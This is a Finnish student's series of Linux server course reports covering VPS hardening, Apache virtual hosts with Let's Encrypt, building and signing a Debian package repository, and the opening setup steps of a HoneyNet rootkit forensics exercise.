Linux Palvelimena: Tehtävä 6

Tehtävä

h6.

Kokeile virtuaalipalvelinta (VPS). Voit vuokrata palvelimen esimerkiksi Linodelta, Amazonilta, DigitalOceanilta, OVH:lta tai monista muista paikoista. Amazonilla saattaa olla ilmainen kokeilupaketti, DigitalOcean on halvin. Vaihtoehto: jos et jostain syystä halua vuokrata virtuaalipalvelinta, voit kokeilla tehdä oman vagrantilla.

Laita monta DNS-nimeä samaan IP-osoitteeseen. Apache Name Based Virtual Hosting.

========================

Vaikeampi vaihtoehtoinen tehtävä, jos olet jo aiemmin hankkinut virtuaalipalvelimen ja asettanut Name Based Virtual Hostingin Apachelle: Tee Python Flaskista tuotantoasennus ja kokeile sitä.

Lähde http://terokarvinen.com/2016/aikataulu-linux-palvelimena-ict4tn003-22-ja-23-alkusyksy-2016

Virtuaalipalvelin

Tämä raportti perustui tilanteeseen, jossa oli jo olemassa DigitalOceanin käyttäjätili ja tilillä oli määritettynä ennestään maksutiedot.

Luominen

DigitalOcean https://www.digitalocean.com/ kirjautumisen jälkeen oltiin tilanteessa
Pääsivu
Aloitin virtuaalipalvelimen luomisen valitsemalla Create Droplet

Ensimmäisenä piti valita mikä käyttöjärjestelmä haluttiin käyttöön. Valitsin tästä vaihtoehdon Ubuntu 16.04.1 x64.
Käyttöjärjestelmän valinta

Seuraavana oli vuorossa virtuaalipalvelimen koko. Valitsin vaihtoehdoista pienimmän, koska koneen oli tarkoitus toimia vain harjoitustehtävien tekemisessä.
Virtuaalipalvelimen koko

Palvelimelle olisi myös voinut valita lisätallennustilaa, mutta tätä ei tarvittu. Valitsin palvelimen sijainniksi Frankfurtin, koska se on kohtuullisen matkan päässä Suomesta, eikä tällä palvelimella ollut muita käyttäjiä kuin minä.
Storage Blocks & Palvelimen sijainti

Ennen palvelimen luomista olisi vielä ollut mahdollista ottaa käyttöön lisäpalveluita, mutta näitä ei tässä tapauksessa tarvittu. SSH avainta en myöskään tässä yhteydessä lähtenyt ottamaan käyttöön. Palvelimen nimeksi valitsin koulu.matto.guru.
Loppuvaihtoehdot ja palvelimen nimi

Lopuksi painoin Create-painiketta.

Muutaman minuutin jälkeen palvelin oli luotuna ja käytettävissä annetuilla tiedoilla
Valmis palvelin

Palvelimen suojaaminen

Koska palvelin sai julkisen ip-osoitteen 46.101.147.244 piti seuraavaksi ottaa käyttöön suojausmekanismit.

Ensimmäiseksi palvelimelle piti kirjautua sähköpostiin tulleilla tunnuksilla.

$ ssh root@46.101.147.244
The authenticity of host '46.101.147.244 (46.101.147.244)' can't be established.
ECDSA key fingerprint is SHA256:naCKyr6/0npNt6VVQ1Q/lsgpNAQxakJw75Drf81erlE.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '46.101.147.244' (ECDSA) to the list of known hosts.
root@46.101.147.244's password: 
You are required to change your password immediately (root enforced)
Welcome to Ubuntu 16.04.1 LTS (GNU/Linux 4.4.0-38-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

0 packages can be updated.
0 updates are security updates.



The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

Changing password for root.
(current) UNIX password: 
Enter new UNIX password: 
Retype new UNIX password: 

Kirjautuminen edellytti myös salasanan vaihtamista.

Seuraavaksi otin palvelimella palomuurin käyttöön. Tätä ennen piti kuitenkin sallia SSH-liikenne palvelimen palomuurin ohi, jotta ylläpito oli mahdollista.

root@koulu:~# ufw allow 22/tcp
Rules updated
Rules updated (v6)
root@koulu:~# ufw enable
Command may disrupt existing ssh connections. Proceed with operation (y|n)? y
Firewall is active and enabled on system startup

Seuraavaksi loin uuden käyttäjän matto, ja lisäsin käyttäjälle ylläpito-oikeudet.

root@koulu:~# adduser matto
perl: warning: Setting locale failed.
perl: warning: Please check that your locale settings:
	LANGUAGE = (unset),
	LC_ALL = (unset),
	LC_CTYPE = "UTF-8",
	LANG = "en_US.UTF-8"
    are supported and installed on your system.
perl: warning: Falling back to a fallback locale ("en_US.UTF-8").
Adding user `matto' ...
Adding new group `matto' (1000) ...
Adding new user `matto' (1000) with group `matto' ...
Creating home directory `/home/matto' ...
Copying files from `/etc/skel' ...
Enter new UNIX password: 
Retype new UNIX password: 
passwd: password updated successfully
Changing the user information for matto
Enter the new value, or press ENTER for the default
	Full Name []: 
	Room Number []: 
	Work Phone []: 
	Home Phone []: 
	Other []: 
Is the information correct? [Y/n] y
root@koulu:~# adduser matto sudo
perl: warning: Setting locale failed.
perl: warning: Please check that your locale settings:
	LANGUAGE = (unset),
	LC_ALL = (unset),
	LC_CTYPE = "UTF-8",
	LANG = "en_US.UTF-8"
    are supported and installed on your system.
perl: warning: Falling back to a fallback locale ("en_US.UTF-8").
Adding user `matto' to group `sudo' ...
Adding user matto to group sudo
Done.
root@koulu:~# adduser matto adm
perl: warning: Setting locale failed.
perl: warning: Please check that your locale settings:
	LANGUAGE = (unset),
	LC_ALL = (unset),
	LC_CTYPE = "UTF-8",
	LANG = "en_US.UTF-8"
    are supported and installed on your system.
perl: warning: Falling back to a fallback locale ("en_US.UTF-8").
Adding user `matto' to group `adm' ...
Adding user matto to group adm
Done.

Seuraavaksi testasin matto-käyttäjän kirjautumisen koneelle, avaamalla uuden terminaalin

$ ssh matto@46.101.147.244
matto@46.101.147.244's password: 
Welcome to Ubuntu 16.04.1 LTS (GNU/Linux 4.4.0-38-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

0 packages can be updated.
0 updates are security updates.



The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To run a command as administrator (user "root"), use "sudo ".
See "man sudo_root" for details.

matto@koulu:~$ sudo apt-get update
[sudo] password for matto: 

Kirjautuminen onnistui hienosto joten lopuksi estin root-kirjautumisen koneelle

root@koulu:~# usermod --lock root

Tämän testaus onnistui kirjautumalla ulos ja yrittämällä uudelleen kirjautumista

root@koulu:~# exit
logout

Connection to 46.101.147.244 closed.
$ ssh root@46.101.147.244
root@46.101.147.244's password: 
Permission denied, please try again.
root@46.101.147.244's password: 
Permission denied, please try again.
root@46.101.147.244's password: 
Permission denied (publickey,password).

Lopuksi asensin suojausmekanismiksi palvelimelle fail2ban ohjelmiston. Olen aiemmin havainnut, että tuolla ohjelmalla voidaan pienentää palvelimen kuormaa huomattavasti.

matto@koulu:~$ sudo apt-get install fail2ban
Reading package lists... Done
Building dependency tree       
Reading state information... Done
The following additional packages will be installed:
  libpython-stdlib libpython2.7-minimal libpython2.7-stdlib python
  python-minimal python2.7 python2.7-minimal python3-pyinotify whois
Suggested packages:
  mailx monit python-doc python-tk python2.7-doc binutils binfmt-support
  python-pyinotify-doc
The following NEW packages will be installed:
  fail2ban libpython-stdlib libpython2.7-minimal libpython2.7-stdlib python
  python-minimal python2.7 python2.7-minimal python3-pyinotify whois
0 upgraded, 10 newly installed, 0 to remove and 31 not upgraded.
Need to get 4193 kB of archives.
After this operation, 18.1 MB of additional disk space will be used.
Do you want to continue? [Y/n] Y

Tuon osalta perusasetukset ovat riittävät, joten otin sen vain käyttöön komennolla

matto@koulu:~$ sudo service fail2ban start

perl: warning: Setting locale failed.

Olin törmännyt vastaavaan virheeseen aikaisemminkin ja tuo virheilmoitus tulee usein, jossei tilannetta korjata. Tämän vuoksi muutin tiedostoa /etc/default/locale komennolla

matto@koulu:~$ sudo nano /etc/default/locale

Tiedoston sisällöksi laitoin

LC_ALL=en_US.UTF-8
LANG=en_US.UTF-8

Palvelimen nimiasetukset

Jotta tuo palvelimen nimi koulu.matto.guru saatiin toimimaan ilman, että tarvitsi muistaa tuota ip-osoitetta, kävin muuttamassa Gandin asetuksia.

Käytännössä Zone-tiedostoon piti lisätä rivit

koulu 10800 IN A 46.101.147.244
*.koulu 10800 IN A 46.101.147.244

Testasin toiminnan seuraavana päivänä (koska nimipalvelinten päivittyminen kestää useamman tunnin) avaamalla ssh yhteyden nimen, enkä ip:n mukaan.

Apache

Seuraavaksi asensin apachen komennolla

matto@koulu:~$ sudo apt-get install apache2

Seuraavaksi määritin käyttöön käyttäjien omat hakemistot

matto@koulu:~$ sudo a2enmod userdir
Enabling module userdir.
To activate the new configuration, you need to run:
  service apache2 restart
matto@koulu:~$ sudo service apache2 restart

Ennen testausta piti vielä avata palomuuriin portti komennolla

matto@koulu:~$ sudo ufw allow 80/tcp
Rule added
Rule added (v6)

Testasin pääsyä oman työasemani internet selaimella (Chrome Version 53.0.2785.116 (64-bit)) ja ip-osoitteella sain auki testisivun.

Sivut

Ensin loin käyttäjälle kansion internet sivuja varten:

matto@koulu:~$ mkdir public_html

Kansion alle tein kolme alikansiota eri sivuille

matto@koulu:~/public_html$ mkdir sivusto1
matto@koulu:~/public_html$ mkdir sivusto2
matto@koulu:~/public_html$ mkdir sivusto3

Lopuksi tein testausta varten jokaiseen alikansioon tiedoston index.html, sisällöltään

Sivusto X toimii!

Jossa tuo X on sivuston numero.

Lopuksi rakenne oli siis tällainen

matto@koulu:~/public_html$ tree
.
├── sivusto1
│   └── index.html
├── sivusto2
│   └── index.html
└── sivusto3
    └── index.html

3 directories, 3 files

Seuraavaksi täytyi kertoa palvelimelle, mitä sivustoja tuolta käytetään.

matto@koulu:~/public_html$ cd /etc/apache2/sites-available/
matto@koulu:/etc/apache2/sites-available$ sudo cp 000-default.conf sivusto1.conf
[sudo] password for matto: 
matto@koulu:/etc/apache2/sites-available$ sudo nano sivusto1.conf
matto@koulu:/etc/apache2/sites-available$ sudo nano sivusto2.conf
matto@koulu:/etc/apache2/sites-available$ sudo nano sivusto3.conf

sivusto1.conf sisältö

<VirtualHost *:80>
        ServerName koulu.matto.guru
        ServerAlias koulu.matto.guru

        ServerAdmin matto@matto.guru
        DocumentRoot /home/matto/public_html/sivusto1

        ErrorLog ${APACHE_LOG_DIR}/error.log
        CustomLog ${APACHE_LOG_DIR}/access.log combined

</VirtualHost>

sivusto2.conf

<VirtualHost *:80>
        ServerName sivu2.koulu.matto.guru
        ServerAlias sivu2.koulu.matto.guru

        ServerAdmin matto@matto.guru
        DocumentRoot /home/matto/public_html/sivusto2

        ErrorLog ${APACHE_LOG_DIR}/error.log
        CustomLog ${APACHE_LOG_DIR}/access.log combined

</VirtualHost>

sivusto3.conf

<VirtualHost *:80>
        ServerName sivu3.koulu.matto.guru
        ServerAlias sivu3.koulu.matto.guru

        ServerAdmin matto@matto.guru
        DocumentRoot /home/matto/public_html/sivusto3

        ErrorLog ${APACHE_LOG_DIR}/error.log
        CustomLog ${APACHE_LOG_DIR}/access.log combined

</VirtualHost>

Lopuksi otettiin sivut käyttöön

matto@koulu:/etc/apache2/sites-available$ sudo a2dissite 000-default.conf 
Site 000-default disabled.
To activate the new configuration, you need to run:
  service apache2 reload
matto@koulu:/etc/apache2/sites-available$ sudo a2ensite sivusto1.conf 
Enabling site sivusto1.
To activate the new configuration, you need to run:
  service apache2 reload
matto@koulu:/etc/apache2/sites-available$ sudo a2ensite sivusto2.conf 
Enabling site sivusto2.
To activate the new configuration, you need to run:
  service apache2 reload
matto@koulu:/etc/apache2/sites-available$ sudo a2ensite sivusto3.conf 
Enabling site sivusto3.
To activate the new configuration, you need to run:
  service apache2 reload
matto@koulu:/etc/apache2/sites-available$ sudo service apache2 reload

Lopuksi toimivuuden sai testattua avaamalla osoitteet
http://koulu.matto.guru
http://sivu1.koulu.matto.guru
http://sivu2.koulu.matto.guru

Extra Bonus

Extra bonuksena asensin tuolle palvelimelle käyttöön ssl sertifikaatit.
Ensin valmisteltiin suojattu sivusto määrittämällä /etc/apache2/sites-available-kansiossa olevasta default-ssl.conf-tiedostosta versio:

        
<IfModule mod_ssl.c>
	<VirtualHost _default_:443<
		ServerAdmin matto@matto.guru

		DocumentRoot /home/matto/public_html/sivusto1

		ErrorLog ${APACHE_LOG_DIR}/error.log
		CustomLog ${APACHE_LOG_DIR}/access.log combined

		SSLEngine on

		<FilesMatch "\.(cgi|shtml|phtml|php)$"<
				SSLOptions +StdEnvVars
		</FilesMatch>
		<Directory /usr/lib/cgi-bin<
				SSLOptions +StdEnvVars
		</Directory<

	</VirtualHost<
</IfModule<

Tämän jälkeen avattiin palomuurista portti 443

matto@koulu:/etc/apache2/sites-available$ sudo ufw allow 443/tcp
Rule added
Rule added (v6)

Asennettiin let’s Encrypt Lähde:https://certbot.eff.org/#ubuntuxenial-apache

matto@koulu:~$ sudo apt-get install python-letsencrypt
matto@koulu:~$ sudo letsencrypt --apache
The requested apache plugin does not appear to be installed
matto@koulu:~$ sudo apt-get install python-letsencrypt-apache
matto@koulu:~$ sudo letsencrypt --apache

Järjestelmä kysyi mille sivuille otetaan https käyttöön. Valitsin nyt vain tuon pääsivun.

screen-shot-2016-09-30-at-20-49-52

Tämän jälkeen kysyttiin sähköpostiosoitetta, joka toimii ssl-sertifikaatin osalta kontaktina.

screen-shot-2016-09-30-at-20-50-09

Ehdot piti tietenkin myös hyväksyä.

screen-shot-2016-09-30-at-20-50-20

Vielä piti päättää halutaanko ottaa käyttöön vain ssl-suojaus vai jättää myös normaalit sivut toimintaan.

screen-shot-2016-09-30-at-20-50-42

Lopuksi järjestelmä kertoi asennuksen onnistuneen.

screen-shot-2016-09-30-at-20-50-56

Testasin vielä toiminnan avaamalla sivuston internet-selaimella ja varmistamalla sertifikaatin tilan

Sertifikaatin tiedot

Lähteet

14 total views, 1 views today

Linux Palvelimena: Harjoitus 4

Tehtävä

h4:
– Tee metapaketti, joka asentaa suosikkiohjelmasi. Katso, että se menee läpi lintianista.
– Tee pakettivarasto repreprolla

Vapaaehtoiset bonus-tehtävät:
– Allekirjoita reprerolla tekemäsi varasto
– Paketoi jokin skriptisi, niin että paketti asentaa järjestelmän käyttäjille uuden käskyn
– Tee paketti, joka muuttaa asetuksia johonkin .d-hakemistoon asennetulla tiedostolla
– Kertaa Apachen asennus, käyttäjien kotisivujen teko ja lokin lukeminen

Katso myös:
http://terokarvinen.com/2011/create-deb-metapackage-in-5-minutes
http://terokarvinen.com/2011/update-all-your-computers-with-a-deb-repository

Lähde: http://terokarvinen.com/2016/aikataulu-linux-palvelimena-ict4tn003-22-ja-23-alkusyksy-2016

Metapaketti

Aluksi asennettiin equivs ympäristö:

$sudo apt-get update
$sudo apt-get -y install equivs

Seuraavaksi tein asennuspaketin konfiguraatio tiedoston:

$equivs-control matto-perusohjelmat.cfg

Ja muokkasin tiedoston muotoon:

Section: misc
Priority: optional
Homepage: matto.guru
Standards-Version: 3.9.2
Package: matto-perusohjelmat
Version: 0.0.1
Maintainer: Matti Jäppinen 
Depends: nano, kate, tree
Description: Matin kokoelma perusohjelmista 
 Peruskäyttöön tarkoitetut ohjelmat:
 .
 Tekstieditorit:
	- nano
	- kate
 Yleisohjelmat:
	- tree

Seuraavaksi loin asennuspaketin:

$ equivs-build matto-perusohjelmat.cfg 
dh_testdir
dh_testroot
dh_prep
dh_testdir
dh_testroot
dh_install
dh_installdocs
dh_installchangelogs
dh_compress
dh_fixperms
dh_installdeb
dh_gencontrol
dh_md5sums
dh_builddeb
dpkg-deb: building package 'matto-perusohjelmat' in '../matto-perusohjelmat_0.0.1_all.deb'.

The package has been created.
Attention, the package has been created in the current directory,
not in ".." as indicated by the message above!

Lopuksi testasin paketin toiminnan, tämä vaati vielä gdebi-core paketin asennuksen:

$ sudo gdebi -n matto-perusohjelmat_0.0.1_all.deb 
[sudo] password for matto: 
sudo: gdebi: command not found
$ gdebi
The program 'gdebi' is currently not installed. You can install it by typing:
sudo apt install gdebi-core
$ sudo apt-get install gdebi-core
$ sudo gdebi -n matto-perusohjelmat_0.0.1_all.deb 

Komento asensi yhteensä 145 eri pakettia.

Lintian

Seuraavaksi varmistin, että paketti menee läpi lintianista:

$ lintian matto-perusohjelmat_0.0.1_all.deb
W: matto-perusohjelmat: possible-unindented-list-in-extended-description
W: matto-perusohjelmat: bad-homepage matto.guru

Virheet korjasin tekemällä paketista version 0.0.2:

Section: misc
Priority: optional
Homepage: http://matto.guru
Standards-Version: 3.9.2
Package: matto-perusohjelmat
Version: 0.0.2
Maintainer: Matti Jäppinen 
Depends: nano, kate, tree
Description: Matin kokoelma perusohjelmista
 Peruskäyttöön tarkoitetut ohjelmat:
 .
 Tekstieditorit:
 nano
 kate
 Yleisohjelmat:
 tree

Ja tämän osalta paketin luomisen jälkeen lintiankin meni läpi:

$ equivs-build matto-perusohjelmat.cfg 
dh_testdir
dh_testroot
dh_prep
dh_testdir
dh_testroot
dh_install
dh_installdocs
dh_installchangelogs
dh_compress
dh_fixperms
dh_installdeb
dh_gencontrol
dh_md5sums
dh_builddeb
dpkg-deb: building package 'matto-perusohjelmat' in '../matto-perusohjelmat_0.0.2_all.deb'.

The package has been created.
Attention, the package has been created in the current directory,
not in ".." as indicated by the message above!
$ lintian matto-perusohjelmat_0.0.2_all.deb
$

Eli lintian tarkistus onnistui.

reprepro

Seuraavana oli vuorossa reprepro pakettivaraston luonti. Koska apache oli jo asennettu palvelimelle, Reprepro piti asentaa ensimmäiseksi:

:~$ reprepro
The program 'reprepro' is currently not installed. You can install it by typing:
sudo apt install reprepro
:~$ sudo apt-get install reprepro
[sudo] password for matto: 

Seuraavaksi luotiin repositorio:

:~/public_html$ mkdir -p repository/conf
:~/public_html$ nano repository/conf/distributions

Tiedoston sisältö:

Codename: xenial
Components: main
Suite: xenial
Architectures: i386 amd64 source

Lopuksi lisättiin tuo paketti repreproon:

:~/public_html$ reprepro -VVVV -b repository/ includedeb xenial /home/matto/Desktop/matto-perusohjelmat_0.0.2_all.deb 
Created directory "repository//db"
/home/matto/Desktop/matto-perusohjelmat_0.0.2_all.deb: component guessed as 'main'
Created directory "repository//pool"
Created directory "repository//pool/main"
Created directory "repository//pool/main/m"
Created directory "repository//pool/main/m/matto-perusohjelmat"
Adding reference to 'pool/main/m/matto-perusohjelmat/matto-perusohjelmat_0.0.2_all.deb' by 'xenial|main|i386'
Adding reference to 'pool/main/m/matto-perusohjelmat/matto-perusohjelmat_0.0.2_all.deb' by 'xenial|main|amd64'
Exporting indices...
Created directory "repository//dists"
Created directory "repository//dists/xenial"
Created directory "repository//dists/xenial/main"
Created directory "repository//dists/xenial/main/binary-i386"
 looking for changes in 'xenial|main|i386'...
  creating 'repository//dists/xenial/main/binary-i386/Packages' (uncompressed,gzipped)
Created directory "repository//dists/xenial/main/binary-amd64"
 looking for changes in 'xenial|main|amd64'...
  creating 'repository//dists/xenial/main/binary-amd64/Packages' (uncompressed,gzipped)
Created directory "repository//dists/xenial/main/source"
 looking for changes in 'xenial|main|source'...
  creating 'repository//dists/xenial/main/source/Sources' (gzipped)

Allekirjoitus

Allekirjoitus vaatikin jo vähän tutkimista. Hyvä ohje löytyi sivulta http://blog.jonliv.es/blog/2011/04/26/creating-your-own-signed-apt-repository-and-debian-packages/. Teinkin ohjeen mukaiset toimenpiteet:

$ sudo apt-get install gnubg
[sudo] password for matto: 
...
$ sudo apt-get install dpkg-sig
...
$ gpg --gen-key
gpg (GnuPG) 1.4.20; Copyright (C) 2015 Free Software Foundation, Inc.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

Please select what kind of key you want:
   (1) RSA and RSA (default)
   (2) DSA and Elgamal
   (3) DSA (sign only)
   (4) RSA (sign only)
Your selection? 4
RSA keys may be between 1024 and 4096 bits long.
What keysize do you want? (2048) 
Requested keysize is 2048 bits
Please specify how long the key should be valid.
         0 = key does not expire
        = key expires in n days
      w = key expires in n weeks
      m = key expires in n months
      y = key expires in n years
Key is valid for? (0) 
Key does not expire at all
Is this correct? (y/N) y

You need a user ID to identify your key; the software constructs the user ID
from the Real Name, Comment and Email Address in this form:
    "Heinrich Heine (Der Dichter) "

Real name: Matti Jäppinen
Email address: packages@matto.guru
Comment: 
You are using the `utf-8' character set.
You selected this USER-ID:
    "Matti Jäppinen "

Change (N)ame, (C)omment, (E)mail or (O)kay/(Q)uit? O
You need a Passphrase to protect your secret key.

We need to generate a lot of random bytes. It is a good idea to perform
some other action (type on the keyboard, move the mouse, utilize the
disks) during the prime generation; this gives the random number
generator a better chance to gain enough entropy.

Not enough random bytes available.  Please do some other work to give
the OS a chance to collect more entropy! (Need 206 more bytes)
.+++++
.....+++++
gpg: key D3044602 marked as ultimately trusted
public and secret key created and signed.

gpg: checking the trustdb
gpg: 3 marginal(s) needed, 1 complete(s) needed, PGP trust model
gpg: depth: 0  valid:   2  signed:   0  trust: 0-, 0q, 0n, 0m, 0f, 2u
gpg: next trustdb check due at 2018-09-18
pub   2048R/D3044602 2016-09-18
      Key fingerprint = 59E9 B699 5E96 F1F0 BE95  E379 3176 A5DB D304 4602
uid                  Matti Jäppinen 

Note that this key cannot be used for encryption.  You may want to use
the command "--edit-key" to generate a subkey for this purpose.
:~$ gpg --list-keys
/home/matto/.gnupg/pubring.gpg
------------------------------
pub   2048R/D3044602 2016-09-18
uid                  Matti Jäppinen 

$ gpg --armor --export packages@matto.guru --output packages@matto.guru.gpg.key > packages.key

Seuraavaksi tehtiin uusi allekirjoitettu versio jaettavasta paketista. .cfg tiedoston ainoa muutos, oli uusi 0.0.3 versio:

$ cd /home/matto/Desktop/
:~/Desktop$ nano matto-perusohjelmat.cfg 
:~/Desktop$ equivs-build matto-perusohjelmat.cfg 
dh_testdir
dh_testroot
dh_prep
dh_testdir
dh_testroot
dh_install
dh_installdocs
dh_installchangelogs
dh_compress
dh_fixperms
dh_installdeb
dh_gencontrol
dh_md5sums
dh_builddeb
dpkg-deb: building package 'matto-perusohjelmat' in '../matto-perusohjelmat_0.0.3_all.deb'.

The package has been created.
Attention, the package has been created in the current directory,
not in ".." as indicated by the message above!

Ja lopuksi paketti lisättiin repositoryyn ja allekirjoitettiin

$ cd /home/matto/public_html/repository/
:~/public_html/repository$ reprepro --ask-passphrase -Vb . includedeb xenial /home/matto/Desktop/matto-perusohjelmat_0.0.3_all.deb 
/home/matto/Desktop/matto-perusohjelmat_0.0.3_all.deb: component guessed as 'main'
Exporting indices...
Successfully created './dists/xenial/Release.gpg.new'
Successfully created './dists/xenial/InRelease.new'
Deleting files no longer referenced...
deleting and forgetting pool/main/m/matto-perusohjelmat/matto-perusohjelmat_0.0.2_all.deb

Ja vielä lisättiin tuo avain jakoon palvelimelle

$ cd /home/matto/
:$ ls
Desktop  Documents  Downloads  host  Music  packages.key  Pictures  Public  public_html  Templates  Videos  workspace
:$ cp packages.key public_html/

Testaus

Testasin toimiiko paketti toisella työasemalla (samassa lähiverkossa). Koska palvelimen ip-osoite oli kiinteä, onnistui paketin asentaminen toiselle koneelle helposti.

Lisätään palvelin luotetuksi

:$ wget -O - http://192.168.1.21/~matto/packages.key | sudo apt-key add -

Lisätään palvelin noudettavien palvelinten listalle

:$ sudoedit /etc/apt/sources.list.d/repository.list

Sources list sisältö:

deb http://192.168.1.21/~matto/repository xenial main

Päivitetään saatavilla olevien sovellusten listaus

:$ sudo apt-get update

Virheitä ei tullut, joten paketin saa nyt asennettua normaalilla sudo apt-get install-komennolla.

Oma skripti pakettiin

Oman skriptin paketointi asennusvalmiiksi oli jo opitun perusteella melko yksinkertaista.

Varmistin ensin, ettei ajattelemani nimistä sovellusta vielä ole olemassa

:$ mat-aet
mat-aet: command not found

Koska tuota ei ollut (ei edes ehdotettu asennettavaksi mitään), voin tehdä tuon sovelluksen mat-aet nimellä.

Tämän jälkeen tein skriptin. Skripti hakee apachen error-login 10 viimeistä rivi

:$nano mat-aet

Tiedoston sisältö

#!/bin/bash
tail /var/log/apache2/error.log

Skripti piti vielä muuttaa oikeille oikeuksille

:$chmod a+x mat-aet

Tämän jälkeen tein konfiguraatiotiedoston sovellusta varten

:$equivs-control mat-aet.cfg

Jonka sisällöksi tuli

Section: misc
Priority: optional
Homepage: http://matto.guru
Standards-Version: 3.9.2

Package: mat-aet
Version: 0.0.1
Maintainer: Matti Jäppinen 
Depends: apache2
Files: mat-aet /usr/bin/
Description: Apachen error login viimeiset rivit nopeasti ja helposti
 ajaa komennon tail /var/log/apache2/error.log

Paketin sai luotua komennolla

:$ equivs-build mat-aet.cfg

Lintian tarkistus varoitti puuttuvasta man-sivusta

:$ lintian mat-aet_0.0.1_all.deb 
W: mat-aet: binary-without-manpage usr/bin/mat-aet

Mutta tuohon ei tarvinnut tässä yhteydessä kiinnittää sen enempää huomiota.

Lopuksi tehtiin vain paketin vieminen jakelutyökaluun

:$ cd /home/matto/public_html/repository/
:$ reprepro --ask-passphrase -Vb . includedeb xenial /home/matto/Desktop/mat-aet_0.0.1_all.deb 
/home/matto/Desktop/mat-aet_0.0.1_all.deb: component guessed as 'main'
Created directory "./pool/main/m/mat-aet"
Exporting indices...
Successfully created './dists/xenial/Release.gpg.new'
Successfully created './dists/xenial/InRelease.new'

Asennustestauskin onnistui hyvin

:$ sudo apt-get update
Get:1 http://192.168.1.21/~matto/repository xenial InRelease [2 706 B]
Hit:2 http://fi.archive.ubuntu.com/ubuntu xenial InRelease                     
Hit:3 http://fi.archive.ubuntu.com/ubuntu xenial-updates InRelease             
Hit:4 http://fi.archive.ubuntu.com/ubuntu xenial-backports InRelease           
Hit:5 http://security.ubuntu.com/ubuntu xenial-security InRelease              
Fetched 2 706 B in 0s (5 653 B/s)                  
Reading package lists... Done
:$ sudo apt-get install mat-aet
Reading package lists... Done
Building dependency tree       
Reading state information... Done
The following NEW packages will be installed:
  mat-aet
0 upgraded, 1 newly installed, 0 to remove and 2 not upgraded.
Need to get 2 192 B of archives.
After this operation, 11,3 kB of additional disk space will be used.
Get:1 http://192.168.1.21/~matto/repository xenial/main amd64 mat-aet all 0.0.1 [2 192 B]
Fetched 2 192 B in 0s (45,4 kB/s)
Selecting previously unselected package mat-aet.
(Reading database ... 198507 files and directories currently installed.)
Preparing to unpack .../archives/mat-aet_0.0.1_all.deb ...
Unpacking mat-aet (0.0.1) ...
Setting up mat-aet (0.0.1) ...

Lopuksi vielä ajoin komennon, varmistaakseni sen toiminnan

:$ mat-aet
[Sun Sep 18 10:50:33.313475 2016] [mpm_event:notice] [pid 7842:tid 140699201685376] AH00489: Apache/2.4.18 (Ubuntu) configured -- resuming normal operations
[Sun Sep 18 10:50:33.313559 2016] [core:notice] [pid 7842:tid 140699201685376] AH00094: Command line: '/usr/sbin/apache2'
[Sun Sep 18 11:11:17.810012 2016] [mpm_event:notice] [pid 7842:tid 140699201685376] AH00491: caught SIGTERM, shutting down
[Sun Sep 18 11:11:18.889482 2016] [mpm_event:notice] [pid 8153:tid 140567151024000] AH00489: Apache/2.4.18 (Ubuntu) configured -- resuming normal operations
[Sun Sep 18 11:11:18.889556 2016] [core:notice] [pid 8153:tid 140567151024000] AH00094: Command line: '/usr/sbin/apache2'
[Sun Sep 18 11:12:17.451241 2016] [authz_core:error] [pid 8157:tid 140567042082560] [client 127.0.0.1:53422] AH01630: client denied by server configuration: /home/matto/public_html
[Sun Sep 18 19:12:00.943750 2016] [mpm_event:notice] [pid 8153:tid 140567151024000] AH00491: caught SIGTERM, shutting down
[Sun Sep 18 19:35:04.874057 2016] [mpm_event:notice] [pid 1243:tid 140019667822464] AH00489: Apache/2.4.18 (Ubuntu) configured -- resuming normal operations
[Sun Sep 18 19:35:04.875292 2016] [core:notice] [pid 1243:tid 140019667822464] AH00094: Command line: '/usr/sbin/apache2'

Lähteet

14 total views, 1 views today

Linux Palvelimena: Harjoitus 3

Harjoitus 3

h3. Ratkaise HoneyNet Scan of the Month 15. http://old.honeynet.org/scans/scan15/

Käsittele oikeita haittaohjelmia sisältävää kuvaa huolella, äläkä vie sitä tärkeille tuotantokoneille. Ratkaisut tehtävän selviävät levykuvasta, mitään ulkopuolisia järjestelmiä ei saa häiritä.

Raportoi, kuinka ratkaiset tehtävän.

Vastaa tehtävänannon kysymyksiin:
– “Show step by step how you identify and recover the deleted rootkit from the / partition.”
– What files make up the deleted rootkit?

Lisätehtävinä voit halutessasi vastata:
– “Bonus Question: Was the rootkit ever actually installed on the system? How do you know?”
– Mitä tekijään viittaavia tietoja levykuvasta löytyy?
– Selitä vaiheittain, miten rootkit toimii.

Vinkkejä:
– Tervapallon voi purkaa ‘tar xf foo.tar.gz’
– Levykuvien analysointi http://terokarvinen.com/2013/forensic-file-recovery-with-linux

Valmistelut

Jotta tehtävää pystyi alkaa ratkaisemaan, piti ensimmäiseksi ladata tuo mainittu levykuva. Se onnistui komennolla:

$wget http://old.honeynet.org/scans/scan15/honeynet.tar.gz

Tästä vastauksena tuli:

2016-09-11 11:01:21 (3,13 MB/s) - ‘honeynet.tar.gz’ saved [13491266/13491266]

Ensimmäiseksi tarkistin, ettei tiedostoa ole muokattu jälkeenpäin vertaamalla sivustolla olevaa MD5 arvoa (MD5=0dff8fb9fe022ea80d8f1a4e4ae33e21) tiedoston MD5-arvoon:

$ md5sum honeynet.tar.gz 
0dff8fb9fe022ea80d8f1a4e4ae33e21  honeynet.tar.gz

Koska arvot täsmäsivät, purin tar-paketin:

$ tar xf honeynet.tar.gz

ja vertasin vielä sivustolla ollutta md5 arvoa (MD5=5a8ebf5725b15e563c825be85f2f852e) purettuun levykuvaan:

$ cd honeynet/
$ ls
honeypot.hda8.dd  README
$ md5sum honeypot.hda8.dd 
5a8ebf5725b15e563c825be85f2f852e  honeypot.hda8.dd

Koska nämä täsmäsivät, pystyin jatkamaan seuraavaan vaiheeseen.

Poistetut-tiedostot

